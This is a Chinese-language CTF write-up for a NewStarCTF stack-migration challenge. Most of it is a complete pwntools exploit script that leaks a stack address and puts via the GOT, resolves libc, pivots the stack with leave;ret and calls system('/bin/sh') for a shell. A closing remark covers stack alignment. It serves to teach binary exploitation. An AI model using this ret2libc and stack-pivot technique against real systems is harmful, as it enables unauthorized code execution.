NewStarCTF---stack migration

NewStarCTF---stack migration

我们可以先checksec一下:

1

拖入IDA中,查看反汇编代码:

2

给我们了一点小礼物%p,泄露buf的地址,也就是泄露一个栈上的地址,毕竟buf这玩意就在栈上,其实我们也能想到,溢出的地址是非常少的,所以我们得进行栈迁移,栈地址泄露了,又能向栈地址上写数据,所以我们考虑将栈迁移到泄露的地址上,payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
context.arch = 'amd64'
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
ret_addr = 0x40101a

leave_ret = 0x4012AA
#sh = gdb.debug("./pwn","b *0x401230")
sh = remote("node5.buuoj.cn",28301)

pop_rdi_ret = 0x401333
#sh = process("./pwn")

#pause()
payload = p64(pop_rdi_ret)
sh.send(payload)
sh.recvuntil("I have a small gift for you: ")
stack_addr = sh.recv(14)
stack_addr = int(stack_addr,16)
print(type(stack_addr))
print("stack_addr--------->",hex(stack_addr))

#pause()
payload_1 = p64(puts_got) + p64(puts_plt) + p64(0x4011FF) + b"A"*(0x38) + p64(stack_addr-0x8) + p64(leave_ret)
sh.send(payload_1)
sh.recvuntil("maybe I'll see you soon!\n")
puts_addr = u64(sh.recv(6).ljust(8,b"\x00"))
print("puts_addr--------->",hex(puts_addr))

libc_base = puts_addr - libc.symbols["puts"]
print("libc_base--------->",hex(libc_base))
system_addr = libc_base + libc.symbols["system"]
bin_sh_addr = libc_base + next(libc.search(b"/bin/sh\x00"))
print("system_addr--------->",hex(system_addr))
print("bin_sh_addr--------->",hex(bin_sh_addr))

stack_addr_1 = stack_addr - 0x40
#pause()
sh.send(p64(pop_rdi_ret))

#pause()
payload_2 = p64(bin_sh_addr) + p64(ret_addr)+ p64(system_addr) + b"A"*(0x38) + p64(stack_addr_1-0x8) + p64(leave_ret)
sh.send(payload_2)
sh.interactive()

接下来,我们来解释一下payload,第一次发送8个字节p64(pop_rdi_ret),然后收到泄露的buf地址,第二次发送0x60个字节,将栈迁移(esp寄存器)到stack_addr(buf在栈上的地址),同时继续布置栈,让程序泄露puts函数的真实地址,并再次返回到主函数,此时栈的布局为:

3

然后,按照上面的方法,如法炮制一边,就可以,成功的getshell了。

值得注意的是:

1
payload_2 = p64(bin_sh_addr) + p64(ret_addr)+ p64(system_addr) + b"A"*(0x38) + p64(stack_addr_1-0x8) + p64(leave_ret) 
1
payload_2 = p64(bin_sh_addr) + p64(system_addr) + b"A"*(0x38+0x8) + p64(stack_addr_1-0x8) + p64(leave_ret) 

不能写成下面那个样子,虽然说也没毛病,但是应该是栈对齐的问题,这一点真的是折磨我了,踩了个大坑。